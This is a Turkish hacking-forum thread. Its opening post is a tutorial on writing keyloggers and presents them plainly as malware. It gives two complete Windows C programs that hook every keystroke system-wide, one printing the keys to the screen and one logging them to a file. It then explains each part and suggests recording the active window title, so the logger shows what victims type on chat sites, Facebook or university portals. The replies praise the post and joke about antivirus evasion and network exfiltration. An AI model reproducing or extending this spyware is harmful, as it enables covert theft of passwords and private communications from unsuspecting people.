folder Tahribat.com Forumları
linefolder Virüs - Trojan - Keylogger - BotNet
linefolder En Basitten Keylogger Yapımı (Açıklamalı)



En Basitten Keylogger Yapımı (Açıklamalı)

  1. KısayolKısayol reportŞikayet pmÖzel Mesaj
    fly_on_the_shit
    fly_on_the_shit's avatar
    Kayıt Tarihi: 11/Haziran/2007
    Erkek

    Merhaba sevgili müridler, hepinizin içinde fırlamalık olduğu bilinen birşey. Ancak bunu iyi yönde kullanabilirsiniz :) Kopyala yapıştır en büyük zehirdir. Bilgi ruhun temizlik malzemesidir. Yerli-yabancı sitelerden kopyala yapıştırla, anlamadan birşeyler yaparak heykır olamazsınız. Ben de biraz dil bilen biraz api kullanmışlığı olan müridler için sıfırdan birşeyler öğretmeyi kendime görev belledim.

    Laf salatasını geçelim konuya girelim, evvela keylogger , yazmanın en kolay olduğu zararlı yazılım olduğu için bundan başlamak, her türlü kötü yazılımı yazmanız için temel oluşturacak bilgileri burada ara ara paylaşıcam, bu giriş yazısı.

    Amuda kalkıp su içtikten sonra 2 ters 1 düz takla atıp kıçından ateş çıkaran kodlar görmeyeceksiniz burda, görseniz de çoğunu anlamayacağınız şeyler yerine, en basit halini gösterip daha gelişmişini yazmanız için yol göstermek istiyorum, c/p nin önüne geçmek için :)

    İki kod var örneklerde, birbirinin %90 aynısı, birisi ekrana basılan tuşları yazıyor, diğeri dosyaya, birisi 40 diğeri 50 satır C kodu. Ancak rahatlıkla bildiğiniz başka bir dile port edebilirsiniz.

    Ekrana yazan kod:

    // Stolen From Dogan K.

    #include <windows.h> #include <stdio.h> LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam ) { if (wParam == WM_KEYDOWN) { printf("%c", MapVirtualKey(((PKBDLLHOOKSTRUCT)lParam)->vkCode, 2)); } CallNextHookEx(NULL, nCode, wParam, lParam); return 0; } int main() { HHOOK hhookSysMsg; MSG messages; hhookSysMsg = SetWindowsHookEx (WH_KEYBOARD_LL, LowLevelKeyboardProc, GetModuleHandle(NULL), 0); if (hhookSysMsg == NULL) { printf("Lanet olsun hook edemedim\n"); return 1; } while (GetMessage (&messages, NULL, 0, 0)) { TranslateMessage(&messages); DispatchMessage(&messages); } return 0; }


    Açıklamalar:
    Kodda 2 fonksiyon var, birisi main fonksiyonu diğeri ise LowLevelKeyboardProc. main fonksiyonu programın giriş noktasıdır, LowLevelKeyboardProc fonksiyonu ise her tuşa basıldığında çağırılacak olan bir "CALLBACK" fonksiyonu.

    main fonksiyonundan açıklamaya başlayım. Önce 2 değişken tanımlanmış,birisi hook handle'ı diğeri ise mesaj türü. Bunlarla direkt ilgilenmiyoruz.

    SetWindowsHookEx fonksiyonu: bu fonksiyon windows'un bize sunduğu legal hook fonksiyonu ama her istediğimizi hook edemiyoruz, msdn den bakabilirsiniz neler hook edilebiliyor diye, tabiki klavye vuruşları hook edilebiliyor. Mouse ve windows mesajları da öyle.

    Hook nedir kısaca onu tanımlayak, diyelim ki bir A fonksiyonu var, biz her A fonksiyonu çağırıldığında, bizim B fonksiyonumuzun çağırılmasını istiyorsak, A fonksiyonunu hook ederiz, birsürü farklı yöntemi var, ancak tek legal yöntemi SetWindowsHookEx. Şimdi biz klavyeden tuşa basıldığında çağırılan fonksiyonu hook ederek, basılan her tuşu alıyoruz, bunla işlem yapabiliyoruz, ancak işimizi biran önce bitirmemiz lazım, çünkü low level hookta tuşun kendi fonksiyonu daha çağırılmadan bizim fonksiyonumuz çağırılır. Burada hook fonksiyonu (B) tabi LowLevelKeyboardProc fonksiyonu, yani kullanıcı her tuşa bastığında o fonksiyon bir kere çağırılacak.

    Hook nasıl gerçekleşir, normalde bu LowLevelKeyboardProc fonksiyonu bir dll içinde olmalıdır, biz de bu dll i belleğe yükledikten sonra (LoadLibrary ile) HINSTANCE değerini , yani bellekteki başlangıç adresini, ayrıca LowLevelKeyboardProc fonksiyonunun dll içindeki adresini kullanarak SetWindowsHookEx apisini çağırmamız lazımdı.

    En azından MS öyle yapmamızı bekliyor, böylece bizim yüklediğimiz dll i diğer exe'lere de yükletiyor, böylece dll içindeki LowLevelKeyboardProc fonksiyonu tüm exelerin kendi bellek bölgesinde bulunuyor, ancak dll ve exe aslında neredeyse aynı dosyalardır ve ikisi de PE dosyalardır, yani biz, dll'i LoadLibrary ile yükleyip dönen başlangıç adresini kullanmak yerine, GetModuleHandle(NULL) şeklinde kendi HINSTANCE yani bellekteki başlangıç adresimizi kullanırsak, SetWindowsHookEx fonksiyonu dll i değil bizi tüm exelere dll gibi yükler.

    Tabiki bu durumda, LowLevelKeyboardProc  hook fonksiyonunu dll den GetProcAddress ile almak yerine direk yazabiliyoruz SetWindowsHookEx e, çünkü fonksiyon dll içinde değil bizim exe mizin içinde zaten. Yani, keylogger'ımız, SetWindowsHookEx in bir exede LowLevelKeyboardProc unda bir dll de olduğu 2 parçadan oluşan bir program olmak yerine tek bir exe den ibaret oluyor.

    En sondaki mesaj döngüsü de bizi ilgilendiren birşey değil, sadece klavye mesajlarını alabilmemiz için kullanmak zorundayız. Bu döngü zaten klasiktir, tüm windows programlarında aynı şekilde bulunur (kodda direkt olmasa da derlenmiş kodda kesin bulunur) , bu döngü sayesinde , biz tuşa bastığımızda, mouse ile tıkladığımızda vs, bu mesajlardan form'un haberi olur.

    Geldik LowLevelKeyboardProc fonksiyonuna, bu fonksiyon bizim tarafımızdan yazılmış, ancak fonksiyonu biz çağırmıyoruz, biz sadece sisteme diyoruz ki, birisi bir tuşa basarsa önce bu fonksiyonu çağır, haber ver, sonra ne halin varsa gör, CALLBACK bu demektir zaten. Nerede söylüyoruz bunu, SetWindowsHookEx in 2. parametresinde. Birinci parametresi hook'un keyboard hook olduğunu söylüyor, 3. parametre hook fonksiyonunun bulunduğu dll in (bizde exe) bellekteki yerini gösteriyor.

    LowLevel... fonksiyonunun wParam parametresi mesaji  içeriyor, WM_KEYDOWN demek tuşa basıldı demek, WM_KEYUP ise kaldırıldı demektir.

    lParam parametresi KBDLLHOOKSTRUCT adında bir yapının adresidir, bu yapıda basıldan tuşun scan kodu, virtual key kodu gibi yararlı bilgileri var. yapının içeriğine msdn den bakabilirsiniz.

    MapVirtualKey fonksiyonu scan code dan ya da virtual key code dan, istediğimiz formatta çıktı veriyor, mesela virtual key code dan char çıktısı isteyebiliriz, normalde virtual key code bir sayıdan ibarettir, enter'a basıldığında filan bunun kodu gelir, ancak char'a çevir dedik biz, yani bu tür karakterlerde fonksiyon hiç bişey döndürmez.

    Programı geliştirmek için:
    Öncelikle caps lock açıksa büyük kapalıysa küçük harf yazmak için GetKeyState apisini kullanmanız lazım, bu api ile caps lock un durumunu öğrenebilirsiniz.

    Virtual-Key Codes diye aratırsanız, f1 shitf ctrl vs tuşların virtual key code larını öğrenebilir, bunlar için dosyaya istediğinizi yazdırabilirsiniz.

    GetForegroundWindow ile aktif olan pencerenin handle ını alıp GetWindowText ile o pencerenin başlığını alabilrisiniz, böylece adam o metinleri yazarken msn de kimle konusuyor, facebook ta ya da google da mı, üniversite not bilgilerinin olduğu panelde mi :F öğrenebilirsiniz. Her tuşa basıldığında aktif pencere değişmiş mi kontrolü yapılabilir.

    Ayrıca belirli aralıklarla koda o anki tarihi yazdırabilirsiniz, bunun her dilde fonksiyonu var, api ile de yapılabilri tabi.

    Son olarak 10 satır fazla, dosyaya çıktıyı yazan program, fikir vermesi açısından, ö ç ğ gibi harflar dosyada görünüyor :)

    //Stolen From Dogan K.

    #include <windows.h> #include <stdio.h> LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam ) { static FILE *flog = NULL; if (!flog) { if (NULL == (flog = fopen("key.log", "a+"))) { printf("Lanet log dosyasi acilamadi\n"); exit(1); } } if (wParam == WM_KEYDOWN) { fprintf(flog, "%c", MapVirtualKey(((PKBDLLHOOKSTRUCT)lParam)->vkCode, 2)); } CallNextHookEx(NULL, nCode, wParam, lParam); return 0; } int main() { HHOOK hhookSysMsg; MSG messages; hhookSysMsg = SetWindowsHookEx (WH_KEYBOARD_LL, LowLevelKeyboardProc, GetModuleHandle(NULL), 0); if (hhookSysMsg == NULL) { printf("Lanet olsun hook edemedim\n"); return 1; } while (GetMessage (&messages, NULL, 0, 0)) { TranslateMessage(&messages); DispatchMessage(&messages); } return 0; }


    En son olarak LÜTFEN SORU SORMAK İÇİN PM ATMAYINIZ.


    Copyright (c) 2012
  2. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Peroksit
    Peroksit's avatar
    Kayıt Tarihi: 20/Eylül/2003
    Erkek

    güzel paylaşım ucan  bok


    http://www.youtube.com/watch?v=OH4eOQ6ZI0Q - - - - - http://www.youtube.com/watch?v=TqErNP20gpI - - - - - https://www.youtube.com/watch?v=fhr5UBZh1rY
  3. KısayolKısayol reportŞikayet pmÖzel Mesaj
    fly_on_the_shit
    fly_on_the_shit's avatar
    Kayıt Tarihi: 11/Haziran/2007
    Erkek

    Peroksit bunu yazdı:
    -----------------------------

    güzel paylaşım ucan  bok


    -----------------------------

    hoca flying shit deil fly on the shit, yani bok üzerindeki sinek


    Copyright (c) 2012
  4. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Peroksit
    Peroksit's avatar
    Kayıt Tarihi: 20/Eylül/2003
    Erkek

    fly_on_the_shit1 bunu yazdı:
    -----------------------------

    Peroksit bunu yazdı:
    -----------------------------

    güzel paylaşım ucan  bok


    -----------------------------

    hoca flying shit deil fly on the shit, yani bok üzerindeki sinek


    -----------------------------

    :D bana onu carıştırdı öyle anladım tamam doğrusunu ögrenmiş olduk :D


    http://www.youtube.com/watch?v=OH4eOQ6ZI0Q - - - - - http://www.youtube.com/watch?v=TqErNP20gpI - - - - - https://www.youtube.com/watch?v=fhr5UBZh1rY
  5. KısayolKısayol reportŞikayet pmÖzel Mesaj
    dead_march
    dead_march's avatar
    Banlanmış Üye
    Kayıt Tarihi: 15/Mart/2008
    Erkek

    eyvallah hocam güzel çalışma


    bundan sonra oy kullanmayacağım eğer bir kişi bile gelip oy kullanmak vatandaşlık görevidir felan derse çıkarır kimliğimi götüne sokarım
  6. KısayolKısayol reportŞikayet pmÖzel Mesaj
    renegadealien
    renegadealien's avatar
    Üstün Hizmet Madalyası Savaş Madalyası Başarı Madalyası Üstün Hizmet Madalyası Developer Madalyası
    Kayıt Tarihi: 23/Mart/2003
    Erkek

    Güzel :)


    Sanıyorum kendi atasözümü yaptım, kaynak belirterek kullanabilirsiniz. 10.05.2013 tarihli google arama sonucu : Aradığınız - "herşeyin hayırlısı rampanın bayırlısı" - ile ilgili hiçbir arama sonucu mevcut değil. Not : Söyleyeni belli olduğu için(Ben) atasözü değil, özlüsöz oluyormuş, dolayısı ile kendi özlüsözümü yapmış oldum :)
  7. KısayolKısayol reportŞikayet pmÖzel Mesaj
    manyaki
    manyaki's avatar
    Kayıt Tarihi: 27/Temmuz/2005
    Erkek

    Eyvallah hocam güzel olmuş temel keylogger için. Başka bir sitede olsak 3. post şuydu; Emeğe saygı! beyler elinde anti virüsden kaçan keylogger olan var mı ?


    since 2005 // tbt
  8. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Wakizashi
    Wakizashi's avatar
    Kayıt Tarihi: 01/Haziran/2010
    Erkek

    eline saglik

  9. KısayolKısayol reportŞikayet pmÖzel Mesaj
    saybirs
    saybirs's avatar
    Kayıt Tarihi: 24/Temmuz/2009
    Erkek

    tebrikler hacı,güzel döküman olmuş.

  10. KısayolKısayol reportŞikayet pmÖzel Mesaj
    wasd
    wasd's avatar
    Kayıt Tarihi: 14/Haziran/2006
    Erkek

    manyaki bunu yazdı:
    -----------------------------

    Eyvallah hocam güzel olmuş temel keylogger için. Başka bir sitede olsak 3. post şuydu; Emeğe saygı! beyler elinde anti virüsden kaçan keylogger olan var mı ?


    -----------------------------

    :D doğru tespit

     

    @bok sineği: güzel döküman olmuş klavyene uzun ömürler :) keşke tuş kayıt olayından öteye geçip ağ işlemlerinide anlatsaymışsın :F

    bide

    bu ne perhiz: Ben de biraz dil bilen biraz api kullanmışlığı olan müridler için sıfırdan birşeyler öğretmeyi kendime görev belledim.

    bu ne lahana turşusu:LÜTFEN SORU SORMAK İÇİN PM ATMAYINIZ.

    =)


    :)
  11. KısayolKısayol reportŞikayet pmÖzel Mesaj
    manyaki
    manyaki's avatar
    Kayıt Tarihi: 27/Temmuz/2005
    Erkek

    abi adamın adı sinekteki bok a doğru kayıyo yalnız her postta değişiyo :D


    since 2005 // tbt
Toplam Hit: 6604 Toplam Mesaj: 18